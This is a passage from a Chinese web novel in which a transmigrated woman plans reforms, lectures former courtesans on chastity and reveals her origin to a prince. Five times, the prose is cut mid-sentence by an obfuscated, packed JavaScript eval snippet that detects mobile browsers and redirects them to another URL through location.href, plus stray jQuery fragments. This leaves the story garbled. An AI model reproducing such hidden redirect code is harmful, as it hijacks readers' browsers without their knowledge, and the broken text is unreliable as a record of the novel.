虽然她相信慕衷情与秦澈不是随意迁怒旁人的人,但直到听到慕衷情的话,一颗心才算落地。 秦澈闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137957|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却有些不满,但在锦书退下之前并未发作。 直到所有人离开,屋内只剩他与慕衷情时,秦澈才说道:“过于宽容,小心日后有人蹬鼻子上脸,衷情,对旁人太好,旁人也未必会记在心里。” “总有人会记得的,再说了,受伤的是我,怎么你比我还生气的样子?”慕衷情随口说了一句,便走到桌前去翻看那些被精挑细选出来的诗句。 秦澈跟着她过去,一手按在那些纸张上不让慕衷情看,他眉头微皱:“你为何对每一个人,都如此着想?” 慕衷情瞥他一眼,无语道:“谁说的啊,你看我对我家那老……咳那名义上的爹,还有那些地主土豪,我有过好脸色吗我?” 秦澈看着她的眼睛,终是叹了口气:“望你所做,皆有回报。” “那很难的,不是我所做的每一件事,帮过的每一个人都会回报的,所以我不会去想这些,这样那些善意真的回馈给我的时候,才会有加倍的惊喜。”慕衷情朝他眨眼,顺势赶人道,“王爷,你还是赶紧去看看丹桂的情况吧,最好能开解开解她,冤有头债有主,若她父亲被冤枉,该去找慕据德报仇,若她父亲不冤,那她就更不该怨我了吧。” 秦澈收回了手:“我知道,你……算了,还是好好写你的计划吧。” 说罢,秦澈转身离开。 慕衷情拿笔挠挠头,养伤休息这几天,的确是要动笔好好写计划了,就是这毛笔,实在是难以提高效率。 一个时辰后,慕衷情写了许多自己觉得好听,寓意也好的名字,便叫锦书进屋来拿,不仅如此,她还对锦书说道:“锦书,这名字定好以后,可不能只限于你们互相称呼,该去府衙登记的要登记好,还有最好每个人做个牌子写上新名字,贴在衣服上,让大家快速记住新名字,平日除了读书的时间,折柳巷的重建、各个房屋的修缮和布置,你要带大家参与进去,这么多人总要有容身之处,到时候愿意留下来的,肯定要在折柳巷自力更生,不能一直靠王爷养着。” “王妃放心,锦书明白。”锦书将慕衷情给她的纸张收好,看了一眼上面的字,欲言又止。 慕衷情装作没看到她的神情,她的字是个什么样子,她还是清楚的。 “嗯,五日,不三日吧,三日后,你收集一份志愿表上来,把每个姑娘往后想做什么,想去哪里都收集好,想回乡的,想学手艺的,或是一起留在折柳巷准备做点生意找点活计的,都行,要让她们明确自己的目标,最多三日,收集好后让人送到我这儿来。”慕衷情道。 “是,王妃。”锦书乖巧应道,犹豫良久又问,“王妃,那丹桂,会被处死吗?” 39. 三十九、 “丹桂,当然要死。”慕衷情说道,“不死一回,她永远都无法从过去的阴影中走出来,王爷虽平时看着严肃了些,但我相信他会有一个妥善的处置的。” 锦书释然地笑了:“多谢王妃。” “好了,别想太多,还有一件事要交给你。”慕衷情起身做了几个简单的热身动作,“我教你一套八段锦,你记住了之后回去教给姑娘们,往后每日早晨起来,每个人都得先做一遍,生命在于运动。” “什,什么?”锦书一脸迷茫。 于是,锦书被迫跟着慕衷情练了一下午的八段锦,直到完整做完一套没有错误动作之后,才放人回到折柳巷去。 做完这些后,慕衷情草草吃完晚饭,就跑到书房开始整理自己的思路,首先拟定一个标题——舟安府社会、农业、经济改革计划概览。 之后慕衷情列了自己的想进行改变的几大方面,删删改改地调整顺序,增减内容,废了好几张纸后,才出来一版比较无论是字体还是内容框架都比较满意的大纲。 慕衷情看着一桌的狼藉,感叹没有电脑这日子是没法过了。 她甩甩有些酸痛的手,再次检查稿子。 整体的顺序是按照她认为的紧迫程度来排的,开篇就是已经开始执行的“折柳巷(原烟柳巷)改造计划”。 这个部分又分为巷子改名、房屋改建、思想改造以及未来规划四个部分。 一、巷子改名(已完成) 原名烟柳巷,现名折柳巷。 二、房屋改建(进行中) 建议数量:免费学堂3-5座,现阶段作为原烟柳巷女子读书、容身之所,后续可作为女子学堂,专供女子读书,农商学堂,无论是农户子弟或商人子弟,均可来上课,根据读书人数,可视具体情况再进行扩建。 三、思想改造(进行中) 女子读书才是德,读书不只是为了增长自己的见识,也能避免往后在签各种书文时,不会轻易被欺骗; 女子亦可自力更生,用自己的双手、正当的手段谋生是一件值得骄傲的事情,要学至少一门技艺; 不可因过往自轻自贱,贞节清白乃是男子方便掌控、打压女子所造的概念,不必在意,也不必去听他人攻讦,真正爱重你之人,只会疼惜,而非嫌恶; 不可隐瞒隐疾,若有病症,大胆告知大夫,及时进行医治,才能更好地过以后的日子。 思想改造先在折柳巷中进行,往后可慢慢向外宣传,在人民(划掉)百姓中普及。 四、未来规划(收集中) 已让锦书前去收集。 慕衷情写不了漂亮的小楷,才这么一部分就已经用了三张纸,她叹气,心道真是太不环保了。 但是没办法,毛笔字也不是一下子能练成的,只能慢慢熟悉。 列完这部分后,她又整理了农业方面的内容,主要包括分地、农业合作模式开拓、农业方法改进、农业工具升级、水利设施修建等方面,清州连年水患,要想提高亩产量和总产量,如何防涝是重中之重。 为此,她不仅需要自己深入田间地头去打听各种种植方法、工具,收集总结,找匠人改进或制作新工具去试验,还需要秦澈帮忙带她了解舟安府的各种设施,比如大坝、水渠分布等,进行修建和翻新。 这部分最难的还是分地会遇到的阻碍,其他部分不直接触及士族地主的利益,仅仅是改善民生倒是还好办。 看来以后她是真不能一个人出门了,不然还不知道要遇到多少次刺杀。 经济方面,其实并不算慕衷情擅长的,她之前所学习的那些方面也是基于网络发达这个基础的,因此暂时只写了特色经济作物发展、工商业模式与线路开拓两方面,经济的发展要有经济形式的改变,但在社会基本制度不改变的情况下,经济形式很难有足够的突破,所以慕衷情也只能在这方面保守考虑。 由此,也可以确立她接下来的工作重点,就是扫黄和土地改革。 全都写完后,慕衷情将墨迹都晾干,整理成册准备交给秦澈。 她离开书房时,才发现外头格外安静,她的婢女一直尽职尽责地守在门外,一见到她出门,刚打的盹立刻就清醒了。 “王妃,您可算是出门了。” 慕衷情伸了个懒腰:“现在什么时辰了?” “都已经子时了,王妃快去歇下吧,有什么事明日再做也不迟。”婢女劝道。 “好,你先去休息吧,我自己回房就好。”慕衷情说道,没想到她到了古代,竟然还能加班到半夜,真是天选打工人。 婢女自己困了,但还是一直跟到慕衷情回到房间才退下去,路上还碰到了换班的守卫,慕衷情十分自然地和他们打招呼:“晚上好呀,你们太辛苦了,每天守夜。” 守卫们面面相觑,都有些不好意思,只有守卫长回道:“王妃也辛苦了。” 这几日发生那么多事,别人不知道,王府内的人都十分清楚,王爷与王妃有多上心,又有多少事务要处理。 慕衷情摆摆手。 令她意外的是,回到院子里时,她发现房间里的灯还亮着,让婢女退下之后,她推开房门,秦澈正合衣躺在塌上,屋内留了两盏烛火。 慕衷情顿了顿,轻手轻脚地走进去,不想吵到秦澈。 但秦澈五感灵敏,慕衷情一推门他就已经醒了。 于是等慕衷情轻轻关上门,一转身,秦澈已经坐了起来,正看着她。 “妈呀!”慕衷情直接被吓一跳,无奈道,“大晚上的你想动能不能稍微发出点声音啊。” 秦澈有些不理解她为何这样就被吓到,无辜道:“那下一次,我先喊你一声?” “对,除非遇到什么危险,那就事急从权了。”慕衷情拍拍胸,安抚自己刚刚过速的心跳,她倒是不怕什么神神鬼鬼的东西,就怕那种一惊一乍的。 喝了一口水压压惊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149558|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕衷情将自己的计划递给秦澈:“既然没睡,正好我给你讲讲我的整体想法,你也知道我的动作一向是大刀阔斧的,但每个地方情况不一样,如果你有发现在舟安府现有的权力架构和情况下,有暂时不太可能做到的,那我们可以往后放一放,先做能做的。” 秦澈欲言又止:“不必着急,你先休息,我自己先看一遍。” 慕衷情直接拒绝:“不行,必须我给你讲,不然你未必能理解我的意思。” 秦澈见她目光炯炯,颇为无奈,如果秦澈知道现代词汇,一定会用工作狂来形容慕衷情。 这一谈,便谈到了天亮。 慕衷情写的是大纲,但许多方式方法一直都在脑子里,加上与秦澈的思路碰撞,又有了许多新点子,越说越兴奋。 早上婢女来敲门时,两人才意识到对方都一晚没睡。 秦澈让婢女进门来,结果婢女端着脸盆一开门,一眼望过去几乎没处下脚,全都是写得密密麻麻的纸张。 两名婢女面面相觑,不敢进门,生怕自己毁了什么重要的机密。 慕衷情不好意思地连忙收拾起来:“昨天晚上太兴奋了,这乱丢的毛病犯了,陆离你跟我一块儿收拾一下。” 秦澈起身,还真的和慕衷情一起捡起纸张,婢女立刻放下手中的东西,说道:“怎可让王爷王妃辛劳,奴婢来收拾就行。” 秦澈和慕衷情都没说什么,但也都没停下手上的动作,很快纸张都被收拢,只是顺序有些乱了,但现在慕衷情也没什么精力去整理,通宵一晚上,那股兴奋劲儿过去,疲惫立马就涌了上来。 她拉着秦澈,打了个哈欠道:“熬夜通宵不是什么好习惯,一起补觉吧。” 说着,她就往床走去,秦澈惊得眼睛都瞪大了,连忙用力拉住她:“本王不累,今日还有许多事务尚待处理,王妃好好休息。” 说着,三步并作两步逃也似的离开了房间。 慕衷情揉揉眼睛,也不管秦澈了,直接倒头就睡,工作之后,她早就养成了随时随地都能睡的本事,只留下两个婢女一脸茫然地退了出去。 秦澈一路心烦意乱地到了书房,才想起来忘了拿折柳巷相关内容的纸张,建学堂之事他倒是能直接让人去办,但那思想改造的部分,秦澈自认无法真正地与女子感同身受,更偏向让锦书亲眼看看那些话,再去传达。 于是他又折返回房。 慕衷情连衣服都没换,闭眼即入梦,睡得正香。 秦澈轻轻地将刚刚那些纸张一一按照顺序整理好,用镇纸压好,以免散乱。 而后他走到床边,给慕衷情盖上被子,正准备离开时,慕衷情忽然拉住了他的衣摆,嘴里好像还在嘀咕什么。 秦澈尝试抽出衣摆失败,干脆坐到床边,尝试听清楚慕衷情在说什么。 “爸爸,妈妈……不要担心我……我好想回家啊……讨厌古代……讨厌……” 秦澈目光一凛。 40. 四十、 秦澈坐在床沿,一直等到慕衷情醒来,手中的纸已经被他翻来覆去地看过无数遍,几乎倒背如流。 “嗯?你怎么在这里?你不是有事吗?”慕衷情刚醒时还有些迷糊,问完才发现自己抓着秦澈的衣服,她噌地一下坐起来,道歉道,“不好意思啊,我也不知道怎么抓着你衣服的,没记忆了,现在什么时辰了,不会耽误你办事吧?” 秦澈沉默一会道:“没事,不着急,若有急事,他们自然会来找我。” 慕衷情掀开被子,下床穿鞋,看到了他手上的纸,又想起自己睡之前好像没有盖被子,便问道:“你是特意回来拿东西的吗?” “嗯,你说的房屋改建和思想改造,我都得安排人去做。”秦澈仔细观察着慕衷情的神情,“只是关于思想改造的部分,我刚刚又看了许久,许多女子怕也未必能接受你所说的这些。” 慕衷情了然地笑笑:“自然是有许多女子接受不了的,然后要是散播出去,更多的男子怕是更接受不了,说不定还要写好些文章来骂我呢。” “那你又是如何有了这些想法的?他们说女子无才便是德,女子不可抛头露面,许多女子从小便被教育要温柔娴淑,做一个贞洁烈女,你却认为,这都不重要。”秦澈斟酌着措辞,“也不知是什么样的人,能有这般不同寻常的想法。” 慕衷情完全没有察觉秦澈的不对劲,只当他从前受到太多封建思想的影响,一时不太理解,便耐心解释道:“谁最开始有这样的思想并不重要,重要的是,往后每个人,都该有这样的想法,不仅要尊重生命的平等,也要尊重女子生存的权利。” “你常说的平等,怕是实现不了,这世道的尊卑并不是你一人可轻易撼动的。”秦澈说道。 慕衷情很清楚光靠她一人是不可能实现的:“不能实现就不去做了吗?在有限的社会制度内,去实现最大可能的平等,就够了,我知道自己的能力根本不够,但总要尽力而为,有一个先生曾说过,与天奋斗,其乐无穷,与地奋斗,其乐无穷,与人奋斗,其乐无穷。” 秦澈注意到,在说到最后一句时,慕衷情的眼中仿佛有光亮起:“这位先生,于你来说很重要?” “那当然,他对很多很多人来说,都非常重要。”慕衷情立刻答道。 秦澈状似自然地问:“敢问这位先生大名?若真有大才,不应当被埋没。” 慕衷情忽然尬住,好在她尬了也不是一次两次了,反应速度还是比之前快上不少:“他呢,最喜欢做个教书先生,不愿出世的,我也不好违背他的意愿。” 秦澈微微皱眉,却没有再追问,反而主动转移话题:“你一觉睡到午后,也该去吃些东西了。” 慕衷情摸了摸自己的发髻,居然没乱,便起身道:“好啊,那一起去吧,你也被我耽误这么大半天,吃完饭要努力工作!” 睡了一觉的慕衷情精力充沛,跟打了鸡血似的,只想赶紧投入工作中。 秦澈跟在她身后,脸上有淡淡的笑意,眼中却夹杂着些许忧虑:“今日你便不要出门了,好好休息一天也无妨。” “嗯,我再完善一下昨天的计划,把能想到的项目再细化一些,具体执行时可不能只靠理论,还得有落地可行性。”慕衷情一手握拳,给自己打气道,“不出一年,舟安府必定会焕然一新。” 秦澈提醒道:“分地之事切不可着急,此处与奉德县不同,官场风气也需肃清,官商勾结更要查探清楚。” “放心,我不冲动。”慕衷情保证道。 “还有一事,你每日所练的那八段锦,我想让府中各人也都学习一番,强身健体,往后也可在舟安推广,若是有多几套类似的功法就更好了,不同的人选择不同的功法。”秦澈提议道。 慕衷情不觉有异,立刻说道:“有,我还记得几套更简单的,叫广播体操。” 闻言,秦澈的神情莫名复杂,这个答案不出所料地让他听不懂,他想,对于慕衷情的来历,他应当像慕衷情那样,天马行空地去设想。 若他真的怎么查都查不出慕衷情的身份,毫无蛛丝马迹,或许是因为,她的确是慕府二小姐,却又不是真正的“慕衷情”。 尤其慕衷情说梦话时的那句“古代”,让他格外在意,如果对于慕衷情来说此时是“古”,那何时为“今”? 这些日子以来她的所作所为,又是否是因为处于“今”的时间,提前知道些什么? 秦澈越想越觉得惊悚,他原本不信神神鬼鬼的事情,可如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157085|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今的事情实在百思不得其解。 按秦澈从前的做法,即便不打算对慕衷情做什么,也是必须要问清楚的,只是他也试探过许多次,慕衷情明显并不希望他知道自己真正的来历…… 衷情,你到底是谁,看着眼前侃侃而谈,对他毫无戒心的慕衷情,秦澈在心中问道。 傍晚,锦书跟着吴雨来到王府述职,秦澈将学堂之事更仔细地交代给吴雨,慕衷情则是对锦书循循善诱,将那些想法说与锦书听。 锦书听完,却神色犹豫地问:“王妃,这些言论是否太离经叛道了些,我怕其他人……” 慕衷情一针见血道:“是怕其他人接受不了,还是连你都不相信,女子也能堂堂正正地活在世人的眼前?” 锦书低头不语。 慕衷情没想到,解放思想的第一关就卡在了锦书这里。 她狠心揭锦书的伤疤:“你是否也因自己失身,而认为自己往后不配嫁一个如意郎君?过安生的生活?” 锦书抬眼,眼中蓄起了泪:“王妃……” 见状,慕衷情便清楚了她的答案,她无奈道:“算了,这不是你的错,这思想课,还是我自己去上吧,你也一起听课。” 锦书这才点头。 晚上,慕衷情躺在床上一直没合眼,等到秦澈回房才坐起身对他说道:“王爷,这几日我想去折柳巷给姑娘们上课。” “上课?怎么,没能说服锦书?”秦澈问道。 “嗯,我每日下午抽一两个时辰过去吧,想办法让她们都能真正放下心结,只有心里的贱籍去了,才算真正脱胎换骨。”慕衷情叹息道,“这事儿啊,还真不好办,这边没解决好,田里我就没多少时间去,下午讲课,上午还得备课,唉,脑子都要不够用了。” 秦澈宽衣,坐到榻上笑道:“这也没法,除了你,怕是也没人能真正理解你所说的思想改造。” 慕衷情愁得不行:“万事开头难,果然是一点儿也急不得,想要两边一起开展还是想得太简单了……” 秦澈躺下,静静地听着慕衷情讲自己的烦恼,半晌后忽然说道:“这几日,我与你一起去折柳巷。” 他声音低沉,让人分辨不明情绪:“让我也听听,你讲的课。” 41. 四十一、 “这些都是什么?”翌日午后,秦澈见慕衷情又整理出一沓纸张,不由得问道。 “科学的知识,是解放思想的第一步,我昨晚想了很久,我觉得要从简单的生理课开始,对自己的身体有了解,才能更好地抛去不必要的羞耻心。”慕衷情大早上起来,列了自己要讲的科普内容,为了赶时间,手都快累得抽筋。 秦澈忽然轻笑一声,惹得慕衷情好奇看他。 他解释道:“每次看到你如此费心费力,总是会想到我在京中的日子,见过多少尸位素餐的官员,上行下效,当溜须拍马、行贿勾结比尽忠职守、两袖清风更容易晋升,更容易获得权势时,又有多少人还能如你一般,为自己的本心而坚持。” 慕衷情和他一起上了马车,压低声音道:“这种情况,就必须要正本清源,只有上头那位以身作则,肃清朝纲,才能让朝堂风气焕然一新。” 秦澈侧头看着慕衷情的眼睛:“你还是一如既往地胆大。” “谢谢夸奖。”慕衷情笑得灿烂,又问道,“丹桂你怎么处置的?” “她父亲当年的事情并不算冤枉,手里的确不干净,只是背后还有人指使,他只是一个被推出来的人,我将前因后果都告知于她,也不知她有没有想通,今日我让人带她一同回折柳巷,只是缚了双手,让她听听你的课,若再执迷不悔……”秦澈没有说完,以他的意思,若丹桂想不通,便不能留着一个隐患,但他想,慕衷情大概是不愿直接杀了丹桂的。 慕衷情低头,手指摩挲着纸张:“那就关着先,让她自己好好想,等我有空了,亲自去瞅瞅她。” 秦澈并不意外她的决定,只说道:“今日进入学堂之人,需互相搜身,确认身上没有利器方可。” “谢啦。”慕衷情抬头对着秦澈笑。 来到新学堂的时候,里头已经坐满了人,因为是第一堂尝试的课,秦澈只允许锦书挑选了二十个她最为熟悉和信任的人前来,他绝对不能容忍再次在这里发生行刺慕衷情的事情。 慕衷情脸上的伤还没有好,红色的血肉在清丽的脸上格外显眼,但慕衷情没有做任何遮掩,无论是碎发,还是面纱,全都没有。 她是如此坦荡,似乎毫不在意自己的脸有着可怖的伤口,也不在意被人看到这并不完美的容貌。 锦书一看到她脸上的伤,便愧疚地低下头,手紧捏住袖子。 许多姑娘都担忧地盯着慕衷情的脸,有的还忍不住摸摸自己的脸,好像感受到了同样的疼痛。 按照慕衷情的吩咐,秦澈让人准备了好几块木板,放在最前面,用杆子撑起来,还给慕衷情准备了简易的炭笔,方便书写。 “大家下午好啊。”慕衷情走到前头时就已经进入了状态,十分自然地说道,“锦书应该已经跟你们说过我的一些想法了吧?那有没有人觉得这想法非常好,非常对的呢?跟我想法一致的,举个手先。” 众人左右望了一会儿,最后只有零星几个人举起手来。 但慕衷情已经非常欣慰,她点点头,示意她们放下手,转身在黑板上写下一个“人”字。 “这个字大家都认识吧?”慕衷情指着木板说道。 “自然认识,人!”有人率先抢答。 “对,那么什么是人?”慕衷情继续问道,“有答案的举手,点到的起身作答,回答之前先报自己的新名字。” 十几个人立刻举起了手,这不就是送分题嘛。 慕衷情点了一个刚刚举过手的,那女孩穿着一身青绿色的衣裙,看起来很是活泼。 “我叫竹露,我认为在场的各位都是人呀,人可以分为男人女人,也可以是小人大人,还能是孩子和老人。”竹露脆生生地说道。 慕衷情让她坐下,继续问道:“有人有不同意见的吗?” 没有人再举手,人,不就是人嘛?还能有什么其他答案? “所以我们至少可以得出一个结论,我是人,王爷是人,你们也是人,对吗?”慕衷情又问。 底下一片附和之声。 慕衷情低头一笑,抛出了自己真正的问题:“那么既然大家都是人,为何我与王爷的身份高高在上,你们见了我们还要行礼,而你们却被卖入青楼,被虐打责骂,被迫接客呢?” 慕衷情问完之后,等了一会儿,见大家都不知所措的模样,继续说道:“这是我们今天的第一个课后思考题,无论何时,你们有了答案都可以来找我说,好,我们接着下一个课题。” 她又在人的旁边,写下“身体”与“贞洁”两个词,然后在贞洁两个字外画了一个圈:“我们先来谈这个词,贞洁,关于这个词我想大家都知道是什么意思,我想问的是,你们是什么时候了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174990|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解到贞洁这个词,又是谁告诉你们,这对于女子来说十分重要的?还是一样,举手作答,先报新名字。” 这次,大家都犹豫了许久,才有两三人举手。 慕衷情选了一位看起来十分温柔的女子。 “回王妃,我名为清荷,我也不知是什么时候开始认为女子的清白比女子的生命还要重要,只是从记事起,便是如此,后来被拍花子卖入青楼,虽未自轻自贱,却也遭到过无数冷眼,听过许多骂声,那时我便知,失了身的女子,尤其是如我们这般的青楼女子,是低人一等,是可以被人踩到泥里羞辱的。”清荷的声音就像她的长相一样温柔,但说话时并无任何犹疑、虚浮之感。 她应该是一个有自己想法的人,慕衷情对清荷做了个简单的判断,示意她坐下后说道:“这个答案很真实,我想大多数人应该都忘了,到底是谁告诉你贞洁比生命更重要的,但不知不觉中,大部分女子已经都这样认为了,对吧?那么贞不贞洁,又是靠什么判断的呢?有没有人敢说一下?” 大家面面相觑,有的还偷偷地望向了一旁的秦澈。 秦澈面无表情,实则心里也有些不好意思,总觉得自己好像特别多余,但是来都来了,没听完就走太丢人。 虽说在风月场听惯了荤话,可毕竟已经从良,现在大家也都不愿开口。 慕衷情见状,抬起手,一手伸出一个食指,一个用食指和拇指圈了个圆:“简单来说,就是这样进去,进行活塞运动,大部分女子的第一次会有落红,也就是许多人讲的□□,那么问题来了,这层膜到底是什么,它真的可以决定一个女子是否贞洁吗?” 底下鸦雀无声,有性子内敛的都已经被慕衷情说得羞红了脸,就连秦澈都垂下眼不敢看慕衷情,他一方面认为慕衷情所言所行都有她的道理,另一方面又实在觉得这样的课太过大胆,太过荒诞。 “好,今天课后的第二道思考题,我可以很明确的告诉你们,哪怕一个女子仍是处子之身,她也可能因为练习舞蹈动作、骑马、练功等行为而导致这层膜破裂,所以问题是,这样一层随时可能破裂的膜,真的能判断一个女子的品行,甚至决定她的生死吗?它的存在,它的地位,究竟是谁赋予的?谁被其束缚,谁又从中得利?男子主动眠花宿柳,三妻四妾是风流,怎么女子被迫卖身,受尽苦楚便是下流了?” 42. 四十二、 在回王府的马车上,终于平静下来的秦澈仔细思索了一路慕衷情所讲的内容。 他忍不住说道:“刚刚你所讲的课,有一个问题我很担心。” 慕衷情见他神情纠结,主动承认道:“当然有问题啦,不过你不用担心,我又不是只上这一课,我今天主要是为了打破她们的认知,这就必须下猛药,经过这一晚,她们明天也会提出这个问题,甚至还会有其他连我们都没有想到的角度。” “那么你明天的第二课是?”秦澈见她胸有成竹的样子,也安下心来,问道。 “坦诚与公平。”慕衷情道,“我不是在鼓励她们也去抛弃自己的坚持和品德,因为贞洁不重要就连自己的身体也不在乎,我是希望她们明白,从前的经历是迫不得已,她们是受害者,不必因此来惩罚自己,往后若遇到心上人,也不必刻意隐瞒,真心爱护她们的人,自然不会在意过往,这个世道便是如此,想要完全的公平是不可能的,那就努力去争取,做问心无愧的自己,争自尊自爱也被尊重和被爱的未来。” “这些,是你想要给她们上的课,那你呢衷情?你又是从何处走来,听谁上的课。”秦澈的声音越说越轻。 但慕衷情听到了,也听得很清楚,她张了张嘴,意识到秦澈又开始怀疑她的来历,刚想说什么,马夫忽然提醒他们王府到了。 秦澈下马车之前,又说了一句:“衷情,坦诚这件事,往往是说起来容易。” 慕衷情愕然,她望着秦澈平静的脸,心突突地跳。 秦澈到底又发现了什么? 慕衷情垂下眼,状似镇定地跟着秦澈下车,回到王府内,短短的一段路,她想了很多试探的方法和圆谎的理由。 可最后,她只是在院子里拉住秦澈,望着他的眼睛说道:“王爷,能不能再给我一点时间?让我再想想怎么跟你解释。” 秦澈看着她为难的模样,轻轻叹了一口气,他环视四周好奇的下人们,反手拉住慕衷情的手腕把人带回了房间。 无论如何,关于慕衷情的身份是不能随意在这么多人面前说的,哪怕都是王府的下人也不行。 “衷情,我需要的不是解释。”秦澈挥退下人们,关上房门,对慕衷情说道。 慕衷情疑惑,她一直都知道秦澈向来把情绪和真实想法藏得很深,只是这一次,她实在没有理解秦澈是什么意思,不需要她解释?那又为什么要一直试探她,还暗示她要坦诚? 真是男人心,海底针。 “可是你明明就在怀疑我。”慕衷情直接说出自己的不解,“你想我告诉你什么,你就直说,不要暗示来暗示去的。” 秦澈说道:“那日你睡着时说了一些梦话,你说,你想回家,你讨厌古代,你本来就不是这里的人。” 他故意加了一句,半真半假地说给慕衷情听。 果不其然,慕衷情的目光下意识地闪躲,避开秦澈的盯视。 秦澈一看便知自己的那一句,没有说错。 不知为何,秦澈竟然松了一口气,或许对他来说,慕衷情这般来历,比从前猜测的任何一种都更让他安心。 房间里陷入了莫名的安静,半晌,慕衷情整理好思绪,抬眼看向秦澈,露出楚楚可怜的神情:“王爷,我之前一直不敢说,其实是怕你把我当成妖怪烧死,那你现在都知道了,不会要杀了我吧?” 秦澈:“……?” 慕衷情见秦澈没立刻回答,又偷偷掐了一下自己的手,维持住这个弱小又可怜的表情。 “我不会杀你,现在不会,以后也不会。”秦澈终于答道,给了慕衷情一个放心的承诺。 慕衷情闻言,扬起一个人畜无害的笑容,主动说道:“那王爷还有什么想问的吗?保证知无不言言无不尽。” 秦澈望着她的笑容,微皱眉头,但很快又松开:“那现在的你是?” “你相信人有灵魂吗?其实我不信,但我的确在死后发现自己成了慕府的二小姐,还和我的名字一样,都叫慕衷情,就在我们要成婚的前几天,她跳池塘想自尽,然后就这样了。”慕衷情摊手,表示自己也不是很无奈。 “你……”秦澈犹豫着,最后只是问,“害怕过吗?” 来到一个陌生的世界,被迫嫁给一个自己从未见过的人,还是明面上的敌人,谁都知道这一场婚姻充斥着阴谋与危机,唯独没有自由与爱意。 秦澈不知道慕衷情曾经身处的世界是什么模样的,但就从这段时日她的言行也能看出来,那必定是一个比这里更好,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186530|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自尊,也更有平等的地方。 所以他问,害怕吗?害怕这个令人讨厌的朝代,害怕他这个曾对她拔过剑的人吗? 慕衷情的笑容淡了些,语气却也更真挚了些:“害怕有用吗?王爷,你十几岁上战场的时候,杀人的时候害怕过吗?人有太多的身不由己,我不为身不由己的事情害怕,我是想活下去,所以我从一开始就告诉王爷,我不会成为慕家的棋子。” “即便你真的慕家二小姐,我也不会随意杀了你。”秦澈这般说道。 “那是王爷心善,不愿牵连无辜之人,但你不杀,也不会亲近于她,慕府的女儿若是活着没有用处,那就要看死了能不能派上点用场了。”慕衷情看过原主的结局,自然知道即便“无所作为”她也活不了,“所以我必须跟着王爷离开京城。” 秦澈回想过往,的确每一次,慕衷情都会要求跟着自己,从京城到丰州再到清州。 “幸好我没有真的伤害你。”秦澈忽然轻笑一声,叹道。 “是啊,我很记仇的,要是当时那一剑真的刺到我了,我可不会原谅王爷的。”慕衷情也露出了真心的笑容,就像她说过很多次的那样,至少在这个世界里,秦澈对她来说,是个好人。 两人相视而笑,困扰他们许久的身份疑云原来如此轻易就能解决,两人都轻松不少,不过他们也都清楚,若非一同经历过许多,秦澈未必会直接问,慕衷情更不会愿意说。 但即便经历过生死,直到此刻,他们才算真正对彼此坦诚与信任。 “王爷还想知道什么吗?”慕衷情笑着问,从前那个世界并不遥远,只要秦澈能接受,她倒是很乐意讲。 秦澈却摇摇头:“已然足够,若是往后有时间,衷情可以与我讲讲你的经历,不是审问,不是坦白,只是单纯地与一个好友倾诉。” 慕衷情立刻明白了他的意思,今日坦白身份,更像是她被瞒无可瞒,失去辩驳余地,才被迫坦白。 秦澈虽仍旧无法完全理解慕衷情所说的“平等”,却明白这样的情况下,他们之间的对话是不够平等的。 所以,关于慕衷情的故事,他可以等一个更为平等的时机,再听她慢慢讲述。 于是她问道:“那王爷,要一起喝酒吗?” 43. 四十三、 王府里自然有酒,而且还有不少好酒。 不过秦澈并不是一个好酒的人,也不太懂酒,但他还是让人帮慕衷情挑了一坛最好的酒来。 